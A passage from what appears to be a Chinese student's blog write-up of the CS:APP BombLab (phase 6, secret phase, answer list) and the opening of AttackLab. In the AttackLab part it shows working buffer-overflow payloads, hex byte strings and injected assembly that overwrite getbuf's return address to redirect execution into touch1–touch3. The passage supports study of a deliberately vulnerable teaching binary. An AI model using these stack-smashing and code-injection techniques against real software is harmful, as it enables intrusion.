401166: 48 83 c0 04 add $0x4,%rax
40116a: 48 39 f0 cmp %rsi,%rax
40116d: 75 f1 jne 401160 <phase_6+0x6c>
40116f: be 00 00 00 00 mov $0x0,%esi
401174: eb 21 jmp 401197 <phase_6+0xa3>
401176: 48 8b 52 08 mov 0x8(%rdx),%rdx
40117a: 83 c0 01 add $0x1,%eax
40117d: 39 c8 cmp %ecx,%eax
40117f: 75 f5 jne 401176 <phase_6+0x82>
401181: eb 05 jmp 401188 <phase_6+0x94>
401183: ba d0 32 60 00 mov $0x6032d0,%edx
401188: 48 89 54 74 20 mov %rdx,0x20(%rsp,%rsi,2)
40118d: 48 83 c6 04 add $0x4,%rsi
401191: 48 83 fe 18 cmp $0x18,%rsi
401195: 74 14 je 4011ab <phase_6+0xb7>
401197: 8b 0c 34 mov (%rsp,%rsi,1),%ecx
40119a: 83 f9 01 cmp $0x1,%ecx
40119d: 7e e4 jle 401183 <phase_6+0x8f>
40119f: b8 01 00 00 00 mov $0x1,%eax
4011a4: ba d0 32 60 00 mov $0x6032d0,%edx
4011a9: eb cb jmp 401176 <phase_6+0x82>
4011ab: 48 8b 5c 24 20 mov 0x20(%rsp),%rbx
4011b0: 48 8d 44 24 28 lea 0x28(%rsp),%rax
4011b5: 48 8d 74 24 50 lea 0x50(%rsp),%rsi
4011ba: 48 89 d9 mov %rbx,%rcx
4011bd: 48 8b 10 mov (%rax),%rdx
4011c0: 48 89 51 08 mov %rdx,0x8(%rcx)
4011c4: 48 83 c0 08 add $0x8,%rax
4011c8: 48 39 f0 cmp %rsi,%rax
4011cb: 74 05 je 4011d2 <phase_6+0xde>
4011cd: 48 89 d1 mov %rdx,%rcx
4011d0: eb eb jmp 4011bd <phase_6+0xc9>
4011d2: 48 c7 42 08 00 00 00 movq $0x0,0x8(%rdx)
4011d9: 00
4011da: bd 05 00 00 00 mov $0x5,%ebp
4011df: 48 8b 43 08 mov 0x8(%rbx),%rax
4011e3: 8b 00 mov (%rax),%eax
4011e5: 39 03 cmp %eax,(%rbx)
4011e7: 7d 05 jge 4011ee <phase_6+0xfa>
4011e9: e8 4c 02 00 00 callq 40143a <explode_bomb>
4011ee: 48 8b 5b 08 mov 0x8(%rbx),%rbx
4011f2: 83 ed 01 sub $0x1,%ebp
4011f5: 75 e8 jne 4011df <phase_6+0xeb>
4011f7: 48 83 c4 50 add $0x50,%rsp
4011fb: 5b pop %rbx
4011fc: 5d pop %rbp
4011fd: 41 5c pop %r12
4011ff: 41 5d pop %r13
401201: 41 5e pop %r14
401203: c3 retq
这关的代码很长,寄存器很多,肉眼debug不合理,跟着gdb一步步调试就慢慢懂了:
-
<read_six_numbers>说明我们要输入六个整数,用空格分隔。
-
地址401114到401151的代码实现了一个双层循环,对这六个输入值给出要求:六值互不相同,且都大于等于1、小于等于6,故本题要求我们输入1到6的一个排列。
-
地址401160到40116d的代码实现了一个循环,修改Mem[%rsp]到Mem[%rsp+0x14]的值,将每个输入值a1、a2…a6,转换成7-a1、7-a2…7-a6。
-
地址40116f到4011a9的代码实现了一个循环,将$0x6032d0+(7-a1)* 0x8、$0x6032d0+(7-a2)* 0x8、…、 0 x 6032 d 0 + ( 7 − a 6 ) ∗ 0 x 8 地 址 存 到 0x6032d0+(7-a6)* 0x8地址存到%rsp+0x20+2 * 0、%rsp+0x20+2 * 0x4、%rsp+0x20 + 2 * 0x8....、%rsp+0x20+2 * 0x14中。这样可能抽象,举例来说明这种**映射**关系:我原来Mem[%rsp]到Mem[%rsp+0x14]的数据是**6、5、4、3、2、1**,这个循环结束后Mem[%rsp+0x20]到Mem[%rsp+0x48]的数据是**node6、node5、node4、node3、node2、node1**。如下所示, 0x6032d0+(7−a6)∗0x8地址存到rsp = 0x7fffffffdf30:
# stack中的node (gdb) print (char*) *0x7fffffffdf78 $119 = 0x6032d0 <node1> "L\001" (gdb) print (char*) *0x7fffffffdf70 $120 = 0x6032e0 <node2> "\250" (gdb) print (char*) *0x7fffffffdf68 $121 = 0x6032f0 <node3> "\234\003" (gdb) print (char*) *0x7fffffffdf60 $122 = 0x603300 <node4> "\263\002" (gdb) print (char*) *0x7fffffffdf58 $123 = 0x603310 <node5> "\335\001" (gdb) print (char*) *0x7fffffffdf50 $124 = 0x603320 <node6> "\273\001" # stack中的数字 (gdb) print *0x7fffffffdf44 $130 = 1 (gdb) print *0x7fffffffdf40 $129 = 2 (gdb) print *0x7fffffffdf3c $128 = 3 (gdb) print *0x7fffffffdf38 # 对应0x7fffffffdf60,4-->node4,其余类似 $127 = 4 (gdb) print *0x7fffffffdf34 # 对应0x7fffffffdf58,5-->node5 $126 = 5 (gdb) print *0x7fffffffdf30 # 对应0x7fffffffdf50,6-->node6 $125 = 6
-
地址4011ab到4011d0实现了一个循环:该循环往node1到node6的所在地址后8位写入了栈中顺序的下一个对象地址,见下面的注释,最好从下往上阅读。例如:往node6的所在地址后8位写入了node5,因为栈中node6(0x7fffffffdf50)排node5(0x7fffffffdf58)的前面,栈是从上往下增长的。
(gdb) print (char*)0x6032d0 # node1地址 $31 = 0x6032d0 <node1> "L\001" (gdb) print (char*)*0x6032d8 $32 = 0x6032e0 <node2> "\250" # node1地址的后8位存放了node2的地址,这个地址不是在这个循环中被写入的!!循环结束后4011d2地址的命令,会将node1地址的后8位写入0,符合"node1在栈排最后、不排任何对象的前面"的现象。 (gdb) print (char*)0x6032e0 # node2地址 $33 = 0x6032e0 <node2> "\250" (gdb) print (char*)*0x6032e8 $34 = 0x6032d0 <node1> "L\001" # node2地址的后8位存放了node1的地址,栈中node2刚好排node1前面 (gdb) print (char*)0x6032f0 # node3地址 $35 = 0x6032f0 <node3> "\234\003" (gdb) print (char*)*0x6032f8 $36 = 0x6032e0 <node2> "\250" # node3地址的后8位存放了node2的地址,栈中node3刚好排node2前面 (gdb) print (char*)0x603300 # node4地址 $37 = 0x603300 <node4> "\263\002" (gdb) print (char*)*0x603308 # node4地址的后8位存放了node3的地址,栈中node4刚好排node3前面 $38 = 0x6032f0 <node3> "\234\003" (gdb) print (char*)0x603310 # node5地址 $39 = 0x603310 <node5> "\335\001" (gdb) print (char*)*0x603318 # node5地址的后8位存放了node4的地址,栈中node5刚好排node4前面 $40 = 0x603300 <node4> "\263\002" (gdb) print (char*)0x603320 # node6地址 $41 = 0x603320 <node6> "\273\001" (gdb) print (char*)*0x603328 # node6地址的后8位存放了node5的地址,栈中node6刚好排node5前面 $42 = 0x603310 <node5> "\335\001"
看循环的技巧:高亮出jmp的目标地址,范围性查看,老往回跳就是循环。如下图所示,初始化语句、循环判断条件等内容一目了然。然后再写写伪码、debug一下就懂了。
-
4011da到4011df又是一个循环,它不断地比较所有
*node地址
和**(node地址+8)
的大小,比较5次,若大于等于则继续循环、否则爆炸,循环结束则此关结束。因为*(node地址+8)
等价于栈中顺序的下一个对象地址,因此"stack中的node应满足【解引用值大的地址在前、小的在后】",打印出所有node的解引用值。(gdb) print *0x6032d0 # node1 $60 = 332 (gdb) print *0x6032e0 # node2 $61 = 168 (gdb) print *0x6032f0 # node3 $62 = 924 (gdb) print *0x603300 # node4 $63 = 691 (gdb) print *0x603310 # node5 $64 = 477 (gdb) print *0x603320 # node6 $65 = 443
因此栈中的node从下到上依次为node3、node4、node5、node6、node1、node2。
这下可以开始反推答案了:1.根据上文对地址40116f到4011a9的循环的映射关系的解释,我们知道Mem[%rsp]到Mem[%rsp+0x14]的数据是3、4、5、6、1、2;2.根据上文对地址401160到40116d的循环的解释,我们知道输入值依次是4、3、2、1、6、5,即用7减去上述值。
综上,第6关的解是"4 3 2 1 6 5",不包含引号。
1.7 secret_phase
看bits.c最下的注释,除了上面6关,还有一个神秘的第7关。出题人在狂笑Mua haha,教训他 😃
input = read_line();
phase_6(input);
phase_defused();
/* Wow, they got it! But isn't something... missing? Perhaps
* something they overlooked? Mua ha ha ha ha! */
return 0;
首先,怎么触发神秘关卡?在汇编代码文件中全局搜索secret_phase,发现只有phase_defused这个方法调用了secret_phase方法,因此,要通过phase_defused方法触发secret_phase。
phase_defused的汇编代码:
00000000004015c4 <phase_defused>:
4015c4: 48 83 ec 78 sub $0x78,%rsp
4015c8: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
4015cf: 00 00
4015d1: 48 89 44 24 68 mov %rax,0x68(%rsp)
4015d6: 31 c0 xor %eax,%eax
4015d8: 83 3d 81 21 20 00 06 cmpl $0x6,0x202181(%rip) # 603760 <num_input_strings>
4015df: 75 5e jne 40163f <phase_defused+0x7b>
4015e1: 4c 8d 44 24 10 lea 0x10(%rsp),%r8
4015e6: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx
4015eb: 48 8d 54 24 08 lea 0x8(%rsp),%rdx
4015f0: be 19 26 40 00 mov $0x402619,%esi
4015f5: bf 70 38 60 00 mov $0x603870,%edi
4015fa: e8 f1 f5 ff ff callq 400bf0 <__isoc99_sscanf@plt>
4015ff: 83 f8 03 cmp $0x3,%eax
401602: 75 31 jne 401635 <phase_defused+0x71>
401604: be 22 26 40 00 mov $0x402622,%esi
401609: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi
40160e: e8 25 fd ff ff callq 401338 <strings_not_equal>
401613: 85 c0 test %eax,%eax
401615: 75 1e jne 401635 <phase_defused+0x71>
401617: bf f8 24 40 00 mov $0x4024f8,%edi
40161c: e8 ef f4 ff ff callq 400b10 <puts@plt>
401621: bf 20 25 40 00 mov $0x402520,%edi
401626: e8 e5 f4 ff ff callq 400b10 <puts@plt>
40162b: b8 00 00 00 00 mov $0x0,%eax
401630: e8 0d fc ff ff callq 401242 <secret_phase>
401635: bf 58 25 40 00 mov $0x402558,%edi
40163a: e8 d1 f4 ff ff callq 400b10 <puts@plt>
40163f: 48 8b 44 24 68 mov 0x68(%rsp),%rax
401644: 64 48 33 04 25 28 00 xor %fs:0x28,%rax
40164b: 00 00
40164d: 74 05 je 401654 <phase_defused+0x90>
40164f: e8 dc f4 ff ff callq 400b30 <__stack_chk_fail@plt>
401654: 48 83 c4 78 add $0x78,%rsp
401658: c3 retq
401659: 90 nop
40165a: 90 nop
40165b: 90 nop
40165c: 90 nop
40165d: 90 nop
40165e: 90 nop
40165f: 90 nop
可以看到:
- 只有当num_input_strings等于6,也就是我们通过了前6关时,才能闯神秘关
- 调用sscanf函数:被解析的字符串为0x603870,打印出来发现是<input_strings+240>,是输入字符串中的一个(可以打印出所有输入字符串的地址进行验证),可以在4015f5地址处打个断点,运行程序并输入前6关的字符串,发现打印出来是**“7 0”,因此,被解析的字符串为第4关的输入;解析格式为0x402619,打印出来是"%d %d %s",因此第4关的输入除了两个整数外还需要一个字符串,以触发secret_phase**。
- 40160e地址的函数,拿着第4关的输入字符串和0x402622(打印出来是DrEvil)作比较,如果两者相同,则调用secret_phase。因此第4关的输入字符串为"DrEvil",第4关的输入调整为"7 0 DrEvil"。
secret_phase的汇编代码:
0000000000401242 <secret_phase>:
401242: 53 push %rbx
401243: e8 56 02 00 00 callq 40149e <read_line>
401248: ba 0a 00 00 00 mov $0xa,%edx
40124d: be 00 00 00 00 mov $0x0,%esi
401252: 48 89 c7 mov %rax,%rdi
401255: e8 76 f9 ff ff callq 400bd0 <strtol@plt>
40125a: 48 89 c3 mov %rax,%rbx
40125d: 8d 40 ff lea -0x1(%rax),%eax
401260: 3d e8 03 00 00 cmp $0x3e8,%eax
401265: 76 05 jbe 40126c <secret_phase+0x2a>
401267: e8 ce 01 00 00 callq 40143a <explode_bomb>
40126c: 89 de mov %ebx,%esi
40126e: bf f0 30 60 00 mov $0x6030f0,%edi
401273: e8 8c ff ff ff callq 401204 <fun7>
401278: 83 f8 02 cmp $0x2,%eax
40127b: 74 05 je 401282 <secret_phase+0x40>
40127d: e8 b8 01 00 00 callq 40143a <explode_bomb>
401282: bf 38 24 40 00 mov $0x402438,%edi
401287: e8 84 f8 ff ff callq 400b10 <puts@plt>
40128c: e8 33 03 00 00 callq 4015c4 <phase_defused>
401291: 5b pop %rbx
401292: c3 retq
401293: 90 nop
401294: 90 nop
401295: 90 nop
401296: 90 nop
401297: 90 nop
401298: 90 nop
401299: 90 nop
40129a: 90 nop
40129b: 90 nop
40129c: 90 nop
40129d: 90 nop
40129e: 90 nop
40129f: 90 nop
这一关先用readline读取我们的输入字符串;然后调用strtol,以10为基,将该字符串转换为长整数longNum;由401265地址的无符号跳转指令知,strol的返回值longNum必须大于0,且longNum小于等于0x3e9;然后以0x6030f0为第一个参数、longNum为第二个参数调用fun7,由40127b地址的跳转指令知,fun7的返回值等于0x2。
fun7的汇编代码如下:
0000000000401204 <fun7>:
401204: 48 83 ec 08 sub $0x8,%rsp
401208: 48 85 ff test %rdi,%rdi
40120b: 74 2b je 401238 <fun7+0x34>
40120d: 8b 17 mov (%rdi),%edx
40120f: 39 f2 cmp %esi,%edx
401211: 7e 0d jle 401220 <fun7+0x1c>
401213: 48 8b 7f 08 mov 0x8(%rdi),%rdi
401217: e8 e8 ff ff ff callq 401204 <fun7>
40121c: 01 c0 add %eax,%eax
40121e: eb 1d jmp 40123d <fun7+0x39>
401220: b8 00 00 00 00 mov $0x0,%eax
401225: 39 f2 cmp %esi,%edx
401227: 74 14 je 40123d <fun7+0x39>
401229: 48 8b 7f 10 mov 0x10(%rdi),%rdi
40122d: e8 d2 ff ff ff callq 401204 <fun7>
401232: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax
401236: eb 05 jmp 40123d <fun7+0x39>
401238: b8 ff ff ff ff mov $0xffffffff,%eax
40123d: 48 83 c4 08 add $0x8,%rsp
401241: c3 retq
写出上述递归函数的伪代码,如下。要让返回值为2,可以第一次进入third块,第二次进入second块,第三次进入first块。用gdb调试知:第一次进入third块,longNum需要小于36;第二次进入second块;longNum需要大于8;第三次进入first块,longNum应该为22。因此,输入字符串调用strtol后应返回22。
int fun7(rdi, rsi) {//rdi存指针,rsi存longNum
if (rdi == 0) {
return -1;
}
if (*rdi == longNum) { //first
return 0;
} else if (*rdi < longNum) { //second
rdi = Mem[rdi + 0x10];
return 2*fun7(rdi, rsi)+1;
} else { //third
rdi = Mem[rdi + 0x9];
return 2*fun7(rdi, rsi);
}
}
综上,secret_phase的触发条件是修改第四关的输入为"7 10 DrEvil",可行解是"22",不包括引号。
头一次见要自己触发,然后自己拆解的炸弹…
1.8 答案汇总
将以上7关的解写入一个txt文件,总结如下:
Border relations with Canada have never been better.
1 2 4 8 16 32
1 311
7 0 DrEvil
9?>567
4 3 2 1 6 5
22
运行效果如下:
cs144@cs144vm:~/CSAPP/BombLab/bomb$ ./bomb answers.txt
Welcome to my fiendish little bomb. You have 6 phases with
which to blow yourself up. Have a nice day!
Phase 1 defused. How about the next one?
That's number 2. Keep going!
Halfway there!
So you got that one. Try this one.
Good work! On to the next...
Curses, you've found the secret phase!
But finding it and solving it are quite different...
Wow! You've defused the secret stage!
Congratulations! You've defused the bomb!
连神秘关都被我过了,我看你个DrEvil怎么笑得出来。HaHaHa
2 总结
BombLab让我学习了很多汇编指令,对循环、switch、递归等代码的汇编形式熟悉,也让我掌握了gdb调试。算是很有趣的一个实验。
DrEvil还是卷不过我呀!
实验时长:26.5h
Lab3 AttackLab
一些有用的资料
-
Lab说明链接:认真看。
http://csapp.cs.cmu.edu/3e/attacklab.pdf
-
关于gdb调试的资料可以参考Lab2 BombLab
1 实验步骤
前三关Level1到Level3是代码注入Code Injection的实验,最后两关是Return-Oriented Programming的实验。
1.1 Code Injection
1.1.1 Level 1
此阶段的任务是让getbuf()函数执行结束后不返回调用它的test函数,而是返回到函数touch1。
首先使用objdump -d ctarget > ctarget_disasCode.txt指令生成ctarget的汇编代码。
getbuf、test和touch1的c代码如下:
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
getbuf、test和touch1的汇编代码如下:
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf> # getbuf的返回地址401976存在[调用getbuf前的%rsp]中
401976: 89 c2 mov %eax,%edx
...
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
思路:getbuf用Gets获取字符串,可以输入0x28(为getbuf分配的栈帧大小) + 0x8 (test栈帧中存放getbuf返回地址的区域)= 0x30 = 48字节的数据,以覆盖getbuf的返回地址,且最后8字节应该是touch1的地址,即00000000004017c0。
下面是本关的一个可行解的字节表示,除了最下一行(最后八字节)不能改变外,其他的只要不为0x0a就行。可以将如下字节作为hex2raw程序的入参,产生的字符串再传给ctarget,实现代码注入。注意:使用小端序(实验说明note the reversal required for little-endian byte ordering)并且不要包含0x0a (是\n的ascii码)。
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
88 88 88 88 88 88 88 88
c0 17 40 00 00 00 00 00
getbuf调用Gets读入上述字节数据后,test调用getbuf的栈示意图如下:
执行效果如下。ctarget的-q参数是为了不将结果发送给评分服务器(自学老哥咋能有这玩意)
cs144@cs144vm:~/CSAPP/AttackLab/target1$ ./hex2raw < Level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 C0 17 40 00 00 00 00 00
1.1.2 Level 2
此阶段的任务是让getbuf()函数执行结束后不返回调用它的test函数,而是去调用函数touch2,并给它传入参数为cookie值。
getbuf、test和touch2的c代码如下:
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
getbuf、test和touch2的汇编代码如下:
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf> # getbuf的返回地址401976存在[调用getbuf前的%rsp]中
401976: 89 c2 mov %eax,%edx
...
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp # getbuf栈帧用0x28个字节来存放输入字符串
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
思路:
-
覆盖【test栈帧中的getbuf的返回地址】为【getbuf栈帧存放输入字符串的最低地址】,那样就能跳回来,把我输入的字节数据当可执行命令使用。同Level1,写入48字节的数据,以覆盖getbuf的返回地址,且最后8字节应该是getbuf栈帧存放输入字符串的最低地址,即**[getbuf调用Gets前的%rsp]**。在4017ac地址打个断点,gdb调试并打印该地址时的%rsp。
cs144@cs144vm:~/CSAPP/AttackLab/target1$ gdb ctarget (gdb) b *0x4017ac Breakpoint 1 at 0x4017ac: file buf.c, line 14. (gdb) run -q Starting program: /home/cs144/CSAPP/AttackLab/target1/ctarget -q Cookie: 0x59b997fa Breakpoint 1, getbuf () at buf.c:14 14 buf.c: No such file or directory. (gdb) print $rsp $1 = (void *) 0x5561dc78
因此,写入48字节的数据,且数据的最后8字节应该是0x5561dc78。
-
调用touch2之前,将%rdi的值设置为cookie值。查项目文件夹下的cookie.txt文件,cookie值为0x59b997fa。
下图是test调用getbuf后的栈示意图。
eploit code的结构如下,命名为Level2ExploitCode.s文件。pad为填充字节。
pushq $0x4017ec # touch2的地址压栈,相当于sub $0x8,%rsp 和 movl $0x4017ec,(%rsp)
mov $0x59b997fa,%rdi #将%rdi的值设置为cookie值
retq # 使用retq指令跳转到touch2
接下来用GCC(作为assmbler)和OBJDUMP(作为disassembler)为Level2ExploitCode.s生成汇编命令的字节表示:
cs144@cs144vm:~/CSAPP/AttackLab/target1$ gcc -c Level2ExploitCode.s
cs144@cs144vm:~/CSAPP/AttackLab/target1$ objdump -d Level2ExploitCode.o > Level2ExploitCode.d
Level2ExploitCode.d文件如下:
Level2ExploitCode.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ec 17 40 00 pushq $0x4017ec
5: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
c: c3 retq
-
综合上述分析,给出本关的一个可行解的字节表示,如下。注意:使用小端序并且不要包含0x0a (是\n的ascii码)。汇编指令的字节表示已经是小端序了,不需要反转!注入代码的地址0x5561dc78需要写成小端序!
68 ec 17 40 00 /* pushq $0x4017ec */ 48 c7 c7 fa 97 b9 59 /* mov $0x59b997fa,%rdi */ c3 /* retq */ 88 88 88 88 88 88 88 88 /* pad */ 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 78 dc 61 55 00 00 00 00 /* address of exploit string */
将如上字节作为hex2raw程序的入参,产生的字符串再传给ctarget,实现代码注入。执行效果如下:
cs144@cs144vm:~/CSAPP/AttackLab/target1$ cat Level2-copy.txt | ./hex2raw | ./ctarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:68 EC 17 40 00 48 C7 C7 FA 97 B9 59 C3 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 88 78 DC 61 55 00 00 00 00
1.1.3 Level3
此阶段的任务是让getbuf()函数执行结束后不返回调用它的test函数,而是去调用函数touch3,并使参数为cookie值的十六进制字符串的地址。
touch3的代码如下:
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
汇编代码如下:
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp
401854: 41 89 fc mov %edi,%r12d
401857: 48 89 f5 mov %rsi,%rbp
40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
401861: 00 00
401863: 48 89 44 24 78 mov %rax,0x78(%rsp)
401868: 31 c0 xor %eax,%eax
40186a: e8 41 f5 ff ff callq 400db0 <random@plt>
40186f: 48 89 c1 mov %rax,%rcx
401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx
401879: 0a d7 a3
40187c: 48 f7 ea imul %rdx
40187f: 48 01 ca add %rcx,%rdx
401882: 48 c1 fa 06 sar $0x6,%rdx
401886: 48 89 c8 mov %rcx,%rax
401889: 48 c1 f8 3f sar $0x3f,%rax
40188d: 48 29 c2 sub %rax,%rdx
401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax
401894: 48 8d 04 80 lea (%rax,%rax,4),%rax
401898: 48 c1 e0 02 shl $0x2,%rax
40189c: 48 29 c1 sub %rax,%rcx
40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx
4018a3: 45 89 e0 mov %r12d,%r8d
4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx
4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx
4018b2: be 01 00 00 00 mov $0x1,%esi
4018b7: 48 89 df mov %rbx,%rdi
4018ba: b8 00 00 00 00 mov $0x0,%eax
4018bf: e8 ac f5 ff ff callq 400e70 <__sprintf_chk@plt>
4018c4: ba 09 00 00 00 mov $0x9,%edx
4018c9: 48 89 de mov %rbx,%rsi
4018cc: 48 89 ef mov %rbp,%rdi
4018cf: e8 cc f3 ff ff callq 400ca0 <strncmp@plt>
4018d4: 85 c0 test %eax,%eax
4018d6: 0f 94 c0 sete %al
4018d9: 0f b6 c0 movzbl %al,%eax
4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi
4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi
4018e8: 00 00
4018ea: 74 05 je 4018f1 <hexmatch+0xa5>
4018ec: e8 ef f3 ff ff callq 400ce0 <__stack_chk_fail@plt>
4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp
4018f5: 5b pop %rbx
4018f6: 5d pop %rbp
4018f7: 41 5c pop %r12
4018f9: c3 retq
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 52 03 00 00 callq 401c8d <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 60 31 40 00 mov $0x403160,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 f1 03 00 00 callq 401d4f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
cookie值为0x59b997fa,可以在Linux上使用命令man ascii
查看ascci表,因此cookie值的十六进制字符串表示"59b997fa"的字节表示为61 66 37 39 39 62 39 35 00(大端序,Lab说明里面提醒了ordered from most to least significant)。 最后的00别忘了,c语言中的string由char[]表示,以’\0’(null characher)为结尾。
为了实现代码注入,同Level2的分析,应该写入48字节的数据,且数据的最后8字节应该是0x5561dc78。由于要给touch3传入字符串"59b997fa",注入代码应该将%rdi设置为字符串"59b997fa"的地址。
当调用hexmatch和strncmp函数时,它们会将数据入栈,覆盖getbuf使用的缓冲区。因此,不要将字符串"59b997fa"存储在getbuf使用的缓冲区内,我选择把它存在getbuf使用的缓冲区下方的区域。解决思路如栈区图所示:
exploit code说明,命名为Level3ExploitCode.s文件:
pushq $0x4018fa #touch3的地址压栈
mov $0x5561dc68,%r8 #寄存器r8保存字符串的起始地址,上图中的%rsp-0x10
movabs $0x6166373939623935,%r9#寄存器r9暂存cookie字符串的[大端序]字节表示
mov %r9,(%r8)#将cookie字符串保存到%r8指代的起始地址
movl $0x0,0x8(%r8)#设置00结尾字节
